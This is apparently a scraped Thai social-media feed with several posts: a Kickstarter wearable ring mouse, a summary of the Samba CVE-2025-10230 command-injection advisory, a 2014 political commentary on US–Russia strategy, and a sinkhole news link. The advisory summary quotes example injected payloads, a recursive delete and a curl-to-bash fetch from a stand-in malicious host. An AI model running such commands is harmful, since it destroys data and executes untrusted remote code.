    แอป companion ใช้ตั้งค่ามาโครและปรับแต่ง gesture
    ต้องมี license เพื่อใช้งานฟีเจอร์ขั้นสูง

    รุ่น Pro ราคา $149 ขึ้นไปเท่านั้นที่มี license
    รุ่น $99 และ $129 ไม่รวม license

    แบตเตอรี่ใช้งานได้ 8 ชั่วโมงต่อการชาร์จ
    เคสไร้สายเก็บพลังงานได้ถึง 30 วัน

    https://www.tomshardware.com/peripherals/wearable-tech/give-your-mouse-the-finger-with-this-wild-cursor-control-ring-prolo-ring-hits-kickstarter-hoping-to-transform-your-finger-into-the-ultimate-macro-and-gesture-device
    💍 “Prolo Ring แหวนควบคุมคอมพิวเตอร์ด้วยนิ้ว — อุปกรณ์สวมใส่ที่อาจเปลี่ยนวิธีใช้เมาส์ไปตลอดกาล” — เมื่อการควบคุมคอมพิวเตอร์ไม่ต้องใช้เมาส์อีกต่อไป แค่ขยับนิ้วก็สั่งงานได้ Prolo Ring คืออุปกรณ์สวมใส่ที่เปิดตัวผ่าน Kickstarter โดยมีเป้าหมายเปลี่ยนวิธีที่เราควบคุมคอมพิวเตอร์ ด้วยการใช้แหวนที่สวมบนนิ้วแทนเมาส์แบบเดิม ๆ ตัวแหวนทำจากอะลูมิเนียมชุบอโนไดซ์ มีให้เลือก 3 สี และประกอบด้วย 3 ส่วนหลัก: เซนเซอร์ตรวจจับการเคลื่อนไหวแบบ 6 แกน, แทร็กแพดขนาดเล็ก และ “modstrip” ที่ทำหน้าที่เป็นปุ่มเสริม แทร็กแพดบนแหวนสามารถแตะ, กดค้าง, หรือปัดเพื่อสั่งงาน เช่น คลิกขวา, เปิดเมนู, เล่น/หยุดวิดีโอ หรือปรับระดับเสียง ส่วน modstrip จะช่วยเพิ่มฟังก์ชันให้แทร็กแพด เช่น ใช้เป็นปุ่ม Shift หรือ Ctrl เพื่อเรียกคำสั่งพิเศษ ที่น่าสนใจคือ Prolo Ring รองรับการตั้งค่ามาโครผ่านแอป companion และสามารถสั่งงานด้วย “air gestures” ได้มากกว่า 40 รูปแบบ เช่น ปัดนิ้วกลางอากาศเพื่อเปลี่ยนภาพ ซึ่งคล้ายกับเทคโนโลยี Soli ของ Google ที่เคยใช้ใน Pixel 4 XL แหวนนี้เชื่อมต่อผ่าน Bluetooth และสามารถใช้งานได้กับทุกระบบปฏิบัติการโดยไม่ต้องใช้แอปเสริม แต่หากต้องการใช้ฟีเจอร์ขั้นสูง เช่น การตั้งค่ามาโครหรือปรับแต่ง gesture ผู้ใช้ต้องมี “license” ซึ่งมีเฉพาะในรุ่น Pro ราคา $149 ขึ้นไป โดยรุ่นพื้นฐาน $99 และ $129 ไม่รวม license นี้ แบตเตอรี่ใช้งานได้ 8 ชั่วโมงต่อการชาร์จหนึ่งครั้ง และสามารถชาร์จผ่านเคสไร้สายที่เก็บพลังงานได้ถึง 30 วัน ✅ Prolo Ring เป็นอุปกรณ์สวมใส่ที่ควบคุมคอมพิวเตอร์ด้วยนิ้ว ➡️ ใช้เซนเซอร์ 6 แกน, แทร็กแพด และ modstrip ✅ แทร็กแพดรองรับการแตะ, กดค้าง, ปัด เพื่อสั่งงาน ➡️ ใช้ควบคุมเมนู, เล่น/หยุดวิดีโอ, ปรับเสียง ฯลฯ ✅ modstrip ทำหน้าที่เป็นปุ่มเสริมเพื่อเพิ่มฟังก์ชัน ➡️ ใช้ร่วมกับแทร็กแพดเพื่อเรียกคำสั่งพิเศษ ✅ รองรับ air gestures มากกว่า 40 รูปแบบ ➡️ เช่น ปัดนิ้วเพื่อเปลี่ยนภาพหรือเลื่อนสไลด์ ✅ เชื่อมต่อผ่าน Bluetooth และรองรับทุกระบบปฏิบัติการ ➡️ ใช้งานได้แม้ไม่ติดตั้งแอป companion ✅ แอป companion ใช้ตั้งค่ามาโครและปรับแต่ง gesture ➡️ ต้องมี license เพื่อใช้งานฟีเจอร์ขั้นสูง ✅ รุ่น Pro ราคา $149 ขึ้นไปเท่านั้นที่มี license ➡️ รุ่น $99 และ $129 ไม่รวม license ✅ แบตเตอรี่ใช้งานได้ 8 ชั่วโมงต่อการชาร์จ ➡️ เคสไร้สายเก็บพลังงานได้ถึง 30 วัน https://www.tomshardware.com/peripherals/wearable-tech/give-your-mouse-the-finger-with-this-wild-cursor-control-ring-prolo-ring-hits-kickstarter-hoping-to-transform-your-finger-into-the-ultimate-macro-and-gesture-device
    0 Comments 0 Shares 181 Views 0 Reviews
  • “ช่องโหว่ CVE-2025-10230 บน Samba AD DC” — เสี่ยงถูกสั่งรันคำสั่งจากระยะไกลโดยไม่ต้องยืนยันตัวตน

    ทีมพัฒนา Samba ได้ออกประกาศเตือนภัยร้ายแรงเกี่ยวกับช่องโหว่ CVE-2025-10230 ซึ่งมีคะแนน CVSS เต็ม 10.0 โดยช่องโหว่นี้เปิดทางให้ผู้โจมตีสามารถสั่งรันคำสั่งบนระบบปฏิบัติการได้จากระยะไกลโดยไม่ต้องยืนยันตัวตน หากระบบนั้นเปิดใช้งาน WINS server และมีการตั้งค่า “wins hook” ในไฟล์ smb.conf

    ช่องโหว่นี้เกิดจากการที่ Samba ไม่ได้ตรวจสอบข้อมูลที่ส่งเข้ามาอย่างเพียงพอ เมื่อมีการลงทะเบียนหรือเปลี่ยนชื่อ NetBIOS ผ่าน WINS server ระบบจะเรียกใช้โปรแกรมที่กำหนดไว้ใน “wins hook” โดยนำข้อมูลที่ผู้ใช้ส่งมาไปใส่ในคำสั่ง shell โดยตรง ซึ่งเปิดช่องให้แฮกเกอร์แทรกคำสั่งอันตราย เช่น ; rm -rf / หรือ | curl malicious.site | bash

    เนื่องจาก WINS เป็นโปรโตคอลเก่าที่เชื่อถือข้อมูลจาก client โดยไม่ตรวจสอบอย่างเข้มงวด ผู้โจมตีสามารถส่งชื่อ NetBIOS ที่มีความยาวไม่เกิน 15 ตัวอักษรและแฝงตัวอักขระ shell เพื่อรันคำสั่งบนเครื่องเป้าหมายได้ทันที

    ช่องโหว่นี้มีผลเฉพาะกับ Samba ที่ทำหน้าที่เป็น Active Directory Domain Controller และเปิดใช้งาน WINS พร้อมตั้งค่า “wins hook” เท่านั้น ส่วน Samba ที่เป็น member server หรือ standalone host จะไม่ได้รับผลกระทบ

    ทีม Samba แนะนำให้ผู้ดูแลระบบ:
    ลบหรือไม่ตั้งค่า “wins hook” ใน smb.conf
    ปิดการใช้งาน WINS server (wins support = no)
    อัปเดตเป็นเวอร์ชันที่ปลอดภัย เช่น 4.23.2, 4.22.5 หรือ 4.21.9

    ข้อมูลในข่าว
    ช่องโหว่ CVE-2025-10230 มีคะแนน CVSS 10.0 เต็ม
    เกิดจากการใช้ข้อมูลจาก client โดยไม่ตรวจสอบก่อนส่งเข้า shell
    ส่งผลให้สามารถรันคำสั่งจากระยะไกลโดยไม่ต้องยืนยันตัวตน
    มีผลเฉพาะกับ Samba AD DC ที่เปิด WINS และตั้งค่า “wins hook”
    WINS เป็นโปรโตคอลเก่าที่เชื่อถือ client โดยไม่ตรวจสอบ
    NetBIOS name ที่มี shell metacharacters เช่น ; หรือ | สามารถใช้โจมตีได้
    Samba ที่ไม่ใช่ domain controllerจะไม่ถูกกระทบ
    วิธีแก้ไขคือ ลบ “wins hook” หรือปิด WINS (wins support = no)
    เวอร์ชันที่ปลอดภัย ได้แก่ 4.23.2, 4.22.5 และ 4.21.9
    “wins hook” อาจถูกยกเลิกในเวอร์ชันอนาคต

    https://securityonline.info/critical-samba-rce-flaw-cve-2025-10230-cvss-10-0-allows-unauthenticated-command-injection-on-ad-dcs/
    🧨 “ช่องโหว่ CVE-2025-10230 บน Samba AD DC” — เสี่ยงถูกสั่งรันคำสั่งจากระยะไกลโดยไม่ต้องยืนยันตัวตน ทีมพัฒนา Samba ได้ออกประกาศเตือนภัยร้ายแรงเกี่ยวกับช่องโหว่ CVE-2025-10230 ซึ่งมีคะแนน CVSS เต็ม 10.0 โดยช่องโหว่นี้เปิดทางให้ผู้โจมตีสามารถสั่งรันคำสั่งบนระบบปฏิบัติการได้จากระยะไกลโดยไม่ต้องยืนยันตัวตน หากระบบนั้นเปิดใช้งาน WINS server และมีการตั้งค่า “wins hook” ในไฟล์ smb.conf ช่องโหว่นี้เกิดจากการที่ Samba ไม่ได้ตรวจสอบข้อมูลที่ส่งเข้ามาอย่างเพียงพอ เมื่อมีการลงทะเบียนหรือเปลี่ยนชื่อ NetBIOS ผ่าน WINS server ระบบจะเรียกใช้โปรแกรมที่กำหนดไว้ใน “wins hook” โดยนำข้อมูลที่ผู้ใช้ส่งมาไปใส่ในคำสั่ง shell โดยตรง ซึ่งเปิดช่องให้แฮกเกอร์แทรกคำสั่งอันตราย เช่น ; rm -rf / หรือ | curl malicious.site | bash เนื่องจาก WINS เป็นโปรโตคอลเก่าที่เชื่อถือข้อมูลจาก client โดยไม่ตรวจสอบอย่างเข้มงวด ผู้โจมตีสามารถส่งชื่อ NetBIOS ที่มีความยาวไม่เกิน 15 ตัวอักษรและแฝงตัวอักขระ shell เพื่อรันคำสั่งบนเครื่องเป้าหมายได้ทันที ช่องโหว่นี้มีผลเฉพาะกับ Samba ที่ทำหน้าที่เป็น Active Directory Domain Controller และเปิดใช้งาน WINS พร้อมตั้งค่า “wins hook” เท่านั้น ส่วน Samba ที่เป็น member server หรือ standalone host จะไม่ได้รับผลกระทบ ทีม Samba แนะนำให้ผู้ดูแลระบบ: 🚑 ลบหรือไม่ตั้งค่า “wins hook” ใน smb.conf 🚑 ปิดการใช้งาน WINS server (wins support = no) 🚑 อัปเดตเป็นเวอร์ชันที่ปลอดภัย เช่น 4.23.2, 4.22.5 หรือ 4.21.9 ✅ ข้อมูลในข่าว ➡️ ช่องโหว่ CVE-2025-10230 มีคะแนน CVSS 10.0 เต็ม ➡️ เกิดจากการใช้ข้อมูลจาก client โดยไม่ตรวจสอบก่อนส่งเข้า shell ➡️ ส่งผลให้สามารถรันคำสั่งจากระยะไกลโดยไม่ต้องยืนยันตัวตน ➡️ มีผลเฉพาะกับ Samba AD DC ที่เปิด WINS และตั้งค่า “wins hook” ➡️ WINS เป็นโปรโตคอลเก่าที่เชื่อถือ client โดยไม่ตรวจสอบ ➡️ NetBIOS name ที่มี shell metacharacters เช่น ; หรือ | สามารถใช้โจมตีได้ ➡️ Samba ที่ไม่ใช่ domain controllerจะไม่ถูกกระทบ ➡️ วิธีแก้ไขคือ ลบ “wins hook” หรือปิด WINS (wins support = no) ➡️ เวอร์ชันที่ปลอดภัย ได้แก่ 4.23.2, 4.22.5 และ 4.21.9 ➡️ “wins hook” อาจถูกยกเลิกในเวอร์ชันอนาคต https://securityonline.info/critical-samba-rce-flaw-cve-2025-10230-cvss-10-0-allows-unauthenticated-command-injection-on-ad-dcs/
    SECURITYONLINE.INFO
    Critical Samba RCE Flaw CVE-2025-10230 (CVSS 10.0) Allows Unauthenticated Command Injection on AD DCs
    Samba released an urgent fix for a Critical (CVSS 10.0) RCE flaw (CVE-2025-10230) allowing unauthenticated command injection on AD DCs when the WINS hook is enabled. Update to 4.23.2.
    0 Comments 0 Shares 165 Views 0 Reviews
  • รุกฆาต หรือ รุกคืบ ตอนที่ 3
    “รุกฆาต หรือ รุกคืบ”
    ตอนที่ 3

    บรรดาลูกพี่ของพรรค Republican ต่างหงุดหงิด กับหนังเรื่อง ตัดเหี้ยน Sequestration ฉายมา 2 ปีแล้ว เอาออกจากโรงไม่ได้เสียที แต่โอกาสกำลังมารำไร ต้นเดือนพฤศจิกายนที่ผ่านมา สภาสูงของอเมริกา มีการเลือกตั้งสมาชิก ที่เรียกว่า mid term election และ พรรค Republican ได้จำนวนที่นั่งเป็นเสียงข้างมากครั้งแรก ตั้งแต่เสียตำแหน่งไปในปี 2006 คราวนี้น่าจะตีแตก เปลี่ยนเอาหนังเรื่องใหม่มาฉายตามใจพวกเหยี่ยว

    สภาสูงที่มี Republican ฝ่ายค้านกุมเสียงข้างมาก จะเปิดประชุมสมัยที่ 114 ประมาณต้นเดือน มกราคม 2015 คาดว่าจะมีนาย John McCain วุฒิสมาชิกตัวแสบ ผู้ทรงอืทธิพลของ Republican มาเป็นประธานกรรมาธิการ Armed Services Commitee และ วุฒิสมาชิก Thad Cochran เป็นหัวหน้า Senate Appropriation Committee-Defense Subcommittee ฝ่ายค้านเตรียมพร้อมยึดอำนาจ งาบการคุมงบกองทัพไปจากรัฐบาล…

    ดูเหมือนรัฐบาลนายโอบามา กำลังถูกต้อนเข้ามุมอับ แม้แต่เรื่องภายในบ้านหลายเรื่องยังค้างคาอยู่ นี่ยังมาเสียทีฝ่ายค้านเพิ่ม เป็นรัฐบาลแต่คุมเสียงสภาสูงไม่ได้ สงสัยจะเอาตัวไม่รอด อย่าว่าแต่จะคิดทำสงครามชิงแชมป์โลกเล้ย!

    อย่าเพิ่งสรุปใส่นักล่าใบตองแห้ง ผู้กำลังท้าชิงแชมป์โลกเช่นนั้น…

    ถ้าย้อนกลับไป ดูจังหวะการออกมาร้องเพลงประสานเสียงของฝ่ายกลาโหม เริ่มตั้งแต่เดือนสิงหาคม เป็นต้นมา ซึ่งเป็นช่วงเวลาใกล้เคียง กับที่รัฐบาลโอบามาประกาศส่งกำลังทางอากาศไปกวาดหน่อ ISIS ที่ กำลังวิ่งเล่นอยู่แถวอืรัค ซีเรีย ก็น่าคิดว่า นายโอบามา กำลังวางแผน หาทางตีกรรเชียงกลับเข้าฝั่ง หลังจากมึนหัว หลงทิศอยู่หลายเดือนเมื่อได้รับสัญญาณส่ง ของคุณพี่ปูติน กรณียึด Crimea เมื่อเดือนมีนาคม

    นายโอบามาจะกลับลำ เรื่องตัดเหี้ยน มาเตรียมความพร้อมของกองทัพ เพื่อเดินหมากกลับเข้าไปอยู่ใน เส้นเขตเข้าชิงแชมป์ ตามแผนที่วางมาร้อยปี มันต้องยอมเดินหมาก แบบถอยหลังมาสัก สอง สาม จังหวะก่อน ค่อยเดินรุกใหม่ แต่จะเดินเองเปลี่ยนใหม่ทั้งหมด มันก็เหมือนฟ้องว่าเสียเชิงคุณพี่ปูตินเขาไปเรียบร้อยแล้ว นักล่าหน้าไม่เหลือให้เชื่อถือ ลูกหาบรวนเรแตกแถวแน่ คณะประสานเสียงกลาโหม จึงต้องมารับบทร้องนำ การเดินหมาก ถอยหลังจังหวะที่หนึ่งก่อน หลังจากส่งคณะ อีโบลา และ ไอซิส ไปเล่นละครสลับฉาก ระหว่างซื้อเวลา เพื่อจัดการปรุงยาแก้การมึนหัว หลงทิศให้ได้ก่อน

    หมากจังหวะที่สองคือ การเปลี่ยนตัวรัฐมนตรีกลาโหม จากนาย Chuck Hagel ซึ่งนายโอบามาเลือกมา ให้รับภาระกิจ ถอนกองทัพออกมาจากอาฟกานิสถาน แต่เมื่อปรับแผนเตรียมจะเล่นจังหวะรุก นาย Hagel ย่อมไม่เหมาะ รายชื่อที่เป็นตัวเก็งหมายเลขหนึ่ง คือนาง Flournoy ซึ่งเป็นนักยุทธศาสตร์ นายโอบามาไม่เลือก และนาง Flournoy ก็รีบออกมาปฏิเสธ ไม่ขออยู่ในรายชื่อตัวเก็งตั้งแต่วันแรกๆ ที่มีชื่อออกมา
    ล่าสุดมีข่าวว่า ค่อนข้างแน่นอนแล้ว ว่านายโอบามาจะเลือกนาย Ashton Carter ผู้ชำนาญด้านระบบ IT ที่เคยรับผิดชอบนโยบายด้านความมั่นคง เกี่ยวกับรัฐที่เคยเป็นสมาชิกของสหภาพโซเวียต และนโยบายเกี่ยวกับอาวุธนิวเคลียร์ และการจัดซื้ออาวุธของกลาโหม มาเป็นรัฐมนตรีกลาโหม นับเป็นการเลือกแม่ทัพ ของนายโอบามา ที่ทำให้เห็นชัดว่าอเมริกา กำลังรีบตีกรรเชียงกลับเข้าฝั่ง หลังจากออกอ่าวไปจริงๆ

    ผู้รับหน้าที่เดินหมากจังหวะที่สาม กลายเป็นฝ่ายค้าน เข้าไปกวาดเสียงข้างมากในสภาสูง เตรียมทำหน้าที่ ปลดหนังเรื่องตัดเหี้ยน Sequestration ออกจากโรง แต่ถ้าเล่นหมากนี้โดดๆ มันเสียทั้งหน้า เสียทั้งงบ จะทำยังไงให้มันมีแต่ได้ กับได้

    วันที่ 4 ธันวาคม 2014 จึงมีฉากการลงมติประณามรัสเซียอย่างรุนแรง ผ่านสภาด้วยคะแนนเสียงท้วมท้น ปูทางสำหรับการเดินหมาก จังหวะใหม่ของอเมริกา จะเป็นจังหวะรุกเข้าไปใหม่ หรือจะเป็นจังหวะรับแบบหมดท่า หลงทิศซ้ำซาก เช่นเมื่อกลางปี ก็แล้วแต่ว่า นายโอบามา จะจับมือเล่นกับสภาสูงแบบไหน การเมืองอเมริกานั้น เวลาปรกติ ก็คัดค้านกันเอาเป็นเอาตาย แต่เมื่อถึงคราวจำเป็น เกี่ยวกับผลประโยชน์มหาศาล รัฐบาลและฝ่ายค้านก็พร้อมจับมือกันเสมอ

    หมากนี้ ต้องขอปรบมือให้กับผู้กำกับฝ่ายตัดต่อหนังของวอชิงตัน

    นอกจากนี้ ช่วงที่รัสเซียถูกกล่าวหาว่าเข้า ไปแทรกแซง Ukraine ยาวไปถึงการผนวก Crimea เข้ามานั้น สายเหยี่ยวกระหายเลือดของ Republican ดูเหมือนจะขัดอกขัดใจมาก ที่นายโอบามาแค่คว่ำบาตรรัสเซีย แทนที่จะเปิดเกมรุก วุฒิสมาชิกกลุ่มนาย John McCain เจ้าเก่า จึงยื่นร่างกฏหมาย Russian Aggression Prevention Act (RAPA) เข้าสภาสูงเมื่อประมาณเดื่อนพฤษภาคม 2014 เรียกร้องให้ มีการย้ายกองกำลัง ทั้งของอเมริกาเอง และของ NATO ไปจ่อประตูหลังบ้านรัสเซีย และให้อเมริกาจัดส่งอาวุธให้ Poland เป็นกรณีพิเศษ เพื่อเอาไว้รับมือกับรัสเซียเป็น ด่านแรก และที่น่าสนใจ ร่างนี้ ให้ ถือว่า Ukraine, Maldova และ Georgia เป็นพันธมิตร นอก NATO ร่างนี้ ยังอยู้ในขั้นตอนการพิจารณาของสภาสูง

    เมื่อเอามาวางต่อกับหมากสาม ที่สภาล่างเพิ่งลงมติประณามรัสเซียไป 2 ฉากนี้ เหมือนเป็นละครเรื่องเดียวกัน แต่เป็นการใช้ฝ่ายค้านมาเข้าฉาก ออกแรงตีกรรเชียงกลับเข้าฝั่ง ที่แนบเนียน และน่าสนใจทีเดียว

    คุณพี่ ปูตินยาตราทัพเข้าไปยึด Crimea ตั้งแต่เดือนมีนาคม อเมริกาได้แต่เล่นบทสั่ง ให้พรรคพวกช่วยกันขัดบาตร เอามาคว่ำใส่รัสเสีย พร้อมกับส่งเสียงขู่สไตล์นักล่าใบตองแห้ง เป็นเวลารวมทั้งสิ้นเกือบ 9 เดือน นี่ถ้าพร้อมจริง ไม่ออกอ่าวไปตั้งแต่ปี 2011 ที่ จะวิ่งมาดักตีหัวแถวแปซิฟิก คงไม่ต้องรอลมเบ่งนาน 9 เดือน วางหมากถอยหลังก่อนเดินหน้าขนาดนี้กระมัง

    เอาละ หลังสภาสูงเปิดในต้นเดือนมกราคม 2015 อเมริกาน่าจะตีกรรเชียงเข้าฝั่งเรียบร้อย พร้อมเดินหน้าตามยุทธศาสตร์ชิงโลกของตน อเมริกาจะเลือกเดินหมากต่อไปอย่างไร

    สวัสดีครับ
    คนเล่านิทาน
    14 ธค. 2557
    รุกฆาต หรือ รุกคืบ ตอนที่ 3 “รุกฆาต หรือ รุกคืบ” ตอนที่ 3 บรรดาลูกพี่ของพรรค Republican ต่างหงุดหงิด กับหนังเรื่อง ตัดเหี้ยน Sequestration ฉายมา 2 ปีแล้ว เอาออกจากโรงไม่ได้เสียที แต่โอกาสกำลังมารำไร ต้นเดือนพฤศจิกายนที่ผ่านมา สภาสูงของอเมริกา มีการเลือกตั้งสมาชิก ที่เรียกว่า mid term election และ พรรค Republican ได้จำนวนที่นั่งเป็นเสียงข้างมากครั้งแรก ตั้งแต่เสียตำแหน่งไปในปี 2006 คราวนี้น่าจะตีแตก เปลี่ยนเอาหนังเรื่องใหม่มาฉายตามใจพวกเหยี่ยว สภาสูงที่มี Republican ฝ่ายค้านกุมเสียงข้างมาก จะเปิดประชุมสมัยที่ 114 ประมาณต้นเดือน มกราคม 2015 คาดว่าจะมีนาย John McCain วุฒิสมาชิกตัวแสบ ผู้ทรงอืทธิพลของ Republican มาเป็นประธานกรรมาธิการ Armed Services Commitee และ วุฒิสมาชิก Thad Cochran เป็นหัวหน้า Senate Appropriation Committee-Defense Subcommittee ฝ่ายค้านเตรียมพร้อมยึดอำนาจ งาบการคุมงบกองทัพไปจากรัฐบาล… ดูเหมือนรัฐบาลนายโอบามา กำลังถูกต้อนเข้ามุมอับ แม้แต่เรื่องภายในบ้านหลายเรื่องยังค้างคาอยู่ นี่ยังมาเสียทีฝ่ายค้านเพิ่ม เป็นรัฐบาลแต่คุมเสียงสภาสูงไม่ได้ สงสัยจะเอาตัวไม่รอด อย่าว่าแต่จะคิดทำสงครามชิงแชมป์โลกเล้ย! อย่าเพิ่งสรุปใส่นักล่าใบตองแห้ง ผู้กำลังท้าชิงแชมป์โลกเช่นนั้น… ถ้าย้อนกลับไป ดูจังหวะการออกมาร้องเพลงประสานเสียงของฝ่ายกลาโหม เริ่มตั้งแต่เดือนสิงหาคม เป็นต้นมา ซึ่งเป็นช่วงเวลาใกล้เคียง กับที่รัฐบาลโอบามาประกาศส่งกำลังทางอากาศไปกวาดหน่อ ISIS ที่ กำลังวิ่งเล่นอยู่แถวอืรัค ซีเรีย ก็น่าคิดว่า นายโอบามา กำลังวางแผน หาทางตีกรรเชียงกลับเข้าฝั่ง หลังจากมึนหัว หลงทิศอยู่หลายเดือนเมื่อได้รับสัญญาณส่ง ของคุณพี่ปูติน กรณียึด Crimea เมื่อเดือนมีนาคม นายโอบามาจะกลับลำ เรื่องตัดเหี้ยน มาเตรียมความพร้อมของกองทัพ เพื่อเดินหมากกลับเข้าไปอยู่ใน เส้นเขตเข้าชิงแชมป์ ตามแผนที่วางมาร้อยปี มันต้องยอมเดินหมาก แบบถอยหลังมาสัก สอง สาม จังหวะก่อน ค่อยเดินรุกใหม่ แต่จะเดินเองเปลี่ยนใหม่ทั้งหมด มันก็เหมือนฟ้องว่าเสียเชิงคุณพี่ปูตินเขาไปเรียบร้อยแล้ว นักล่าหน้าไม่เหลือให้เชื่อถือ ลูกหาบรวนเรแตกแถวแน่ คณะประสานเสียงกลาโหม จึงต้องมารับบทร้องนำ การเดินหมาก ถอยหลังจังหวะที่หนึ่งก่อน หลังจากส่งคณะ อีโบลา และ ไอซิส ไปเล่นละครสลับฉาก ระหว่างซื้อเวลา เพื่อจัดการปรุงยาแก้การมึนหัว หลงทิศให้ได้ก่อน หมากจังหวะที่สองคือ การเปลี่ยนตัวรัฐมนตรีกลาโหม จากนาย Chuck Hagel ซึ่งนายโอบามาเลือกมา ให้รับภาระกิจ ถอนกองทัพออกมาจากอาฟกานิสถาน แต่เมื่อปรับแผนเตรียมจะเล่นจังหวะรุก นาย Hagel ย่อมไม่เหมาะ รายชื่อที่เป็นตัวเก็งหมายเลขหนึ่ง คือนาง Flournoy ซึ่งเป็นนักยุทธศาสตร์ นายโอบามาไม่เลือก และนาง Flournoy ก็รีบออกมาปฏิเสธ ไม่ขออยู่ในรายชื่อตัวเก็งตั้งแต่วันแรกๆ ที่มีชื่อออกมา ล่าสุดมีข่าวว่า ค่อนข้างแน่นอนแล้ว ว่านายโอบามาจะเลือกนาย Ashton Carter ผู้ชำนาญด้านระบบ IT ที่เคยรับผิดชอบนโยบายด้านความมั่นคง เกี่ยวกับรัฐที่เคยเป็นสมาชิกของสหภาพโซเวียต และนโยบายเกี่ยวกับอาวุธนิวเคลียร์ และการจัดซื้ออาวุธของกลาโหม มาเป็นรัฐมนตรีกลาโหม นับเป็นการเลือกแม่ทัพ ของนายโอบามา ที่ทำให้เห็นชัดว่าอเมริกา กำลังรีบตีกรรเชียงกลับเข้าฝั่ง หลังจากออกอ่าวไปจริงๆ ผู้รับหน้าที่เดินหมากจังหวะที่สาม กลายเป็นฝ่ายค้าน เข้าไปกวาดเสียงข้างมากในสภาสูง เตรียมทำหน้าที่ ปลดหนังเรื่องตัดเหี้ยน Sequestration ออกจากโรง แต่ถ้าเล่นหมากนี้โดดๆ มันเสียทั้งหน้า เสียทั้งงบ จะทำยังไงให้มันมีแต่ได้ กับได้ วันที่ 4 ธันวาคม 2014 จึงมีฉากการลงมติประณามรัสเซียอย่างรุนแรง ผ่านสภาด้วยคะแนนเสียงท้วมท้น ปูทางสำหรับการเดินหมาก จังหวะใหม่ของอเมริกา จะเป็นจังหวะรุกเข้าไปใหม่ หรือจะเป็นจังหวะรับแบบหมดท่า หลงทิศซ้ำซาก เช่นเมื่อกลางปี ก็แล้วแต่ว่า นายโอบามา จะจับมือเล่นกับสภาสูงแบบไหน การเมืองอเมริกานั้น เวลาปรกติ ก็คัดค้านกันเอาเป็นเอาตาย แต่เมื่อถึงคราวจำเป็น เกี่ยวกับผลประโยชน์มหาศาล รัฐบาลและฝ่ายค้านก็พร้อมจับมือกันเสมอ หมากนี้ ต้องขอปรบมือให้กับผู้กำกับฝ่ายตัดต่อหนังของวอชิงตัน นอกจากนี้ ช่วงที่รัสเซียถูกกล่าวหาว่าเข้า ไปแทรกแซง Ukraine ยาวไปถึงการผนวก Crimea เข้ามานั้น สายเหยี่ยวกระหายเลือดของ Republican ดูเหมือนจะขัดอกขัดใจมาก ที่นายโอบามาแค่คว่ำบาตรรัสเซีย แทนที่จะเปิดเกมรุก วุฒิสมาชิกกลุ่มนาย John McCain เจ้าเก่า จึงยื่นร่างกฏหมาย Russian Aggression Prevention Act (RAPA) เข้าสภาสูงเมื่อประมาณเดื่อนพฤษภาคม 2014 เรียกร้องให้ มีการย้ายกองกำลัง ทั้งของอเมริกาเอง และของ NATO ไปจ่อประตูหลังบ้านรัสเซีย และให้อเมริกาจัดส่งอาวุธให้ Poland เป็นกรณีพิเศษ เพื่อเอาไว้รับมือกับรัสเซียเป็น ด่านแรก และที่น่าสนใจ ร่างนี้ ให้ ถือว่า Ukraine, Maldova และ Georgia เป็นพันธมิตร นอก NATO ร่างนี้ ยังอยู้ในขั้นตอนการพิจารณาของสภาสูง เมื่อเอามาวางต่อกับหมากสาม ที่สภาล่างเพิ่งลงมติประณามรัสเซียไป 2 ฉากนี้ เหมือนเป็นละครเรื่องเดียวกัน แต่เป็นการใช้ฝ่ายค้านมาเข้าฉาก ออกแรงตีกรรเชียงกลับเข้าฝั่ง ที่แนบเนียน และน่าสนใจทีเดียว คุณพี่ ปูตินยาตราทัพเข้าไปยึด Crimea ตั้งแต่เดือนมีนาคม อเมริกาได้แต่เล่นบทสั่ง ให้พรรคพวกช่วยกันขัดบาตร เอามาคว่ำใส่รัสเสีย พร้อมกับส่งเสียงขู่สไตล์นักล่าใบตองแห้ง เป็นเวลารวมทั้งสิ้นเกือบ 9 เดือน นี่ถ้าพร้อมจริง ไม่ออกอ่าวไปตั้งแต่ปี 2011 ที่ จะวิ่งมาดักตีหัวแถวแปซิฟิก คงไม่ต้องรอลมเบ่งนาน 9 เดือน วางหมากถอยหลังก่อนเดินหน้าขนาดนี้กระมัง เอาละ หลังสภาสูงเปิดในต้นเดือนมกราคม 2015 อเมริกาน่าจะตีกรรเชียงเข้าฝั่งเรียบร้อย พร้อมเดินหน้าตามยุทธศาสตร์ชิงโลกของตน อเมริกาจะเลือกเดินหมากต่อไปอย่างไร สวัสดีครับ คนเล่านิทาน 14 ธค. 2557
    0 Comments 0 Shares 338 Views 0 Reviews
  • 'ดร.เอ้' ลงพื้นที่ "หลุมยุบสามเสน" เปิด 5 ขั้นตอนกู้สถานการณ์ ขอทำหน้าที่ "ติดตาม เฝ้าระวัง แนะนำ" เพื่อประโยชน์แก่สังคมไทย
    https://www.thai-tai.tv/news/21930/
    .
    #ไทยไท #หลุมยุบสามเสน #สุชัชวีร์ #วิศวกร #สถานีตำรวจสามเสน #รถไฟฟ้าใต้ดิน #ความปลอดภัย
    'ดร.เอ้' ลงพื้นที่ "หลุมยุบสามเสน" เปิด 5 ขั้นตอนกู้สถานการณ์ ขอทำหน้าที่ "ติดตาม เฝ้าระวัง แนะนำ" เพื่อประโยชน์แก่สังคมไทย https://www.thai-tai.tv/news/21930/ . #ไทยไท #หลุมยุบสามเสน #สุชัชวีร์ #วิศวกร #สถานีตำรวจสามเสน #รถไฟฟ้าใต้ดิน #ความปลอดภัย
    0 Comments 0 Shares 186 Views 0 Reviews
More Results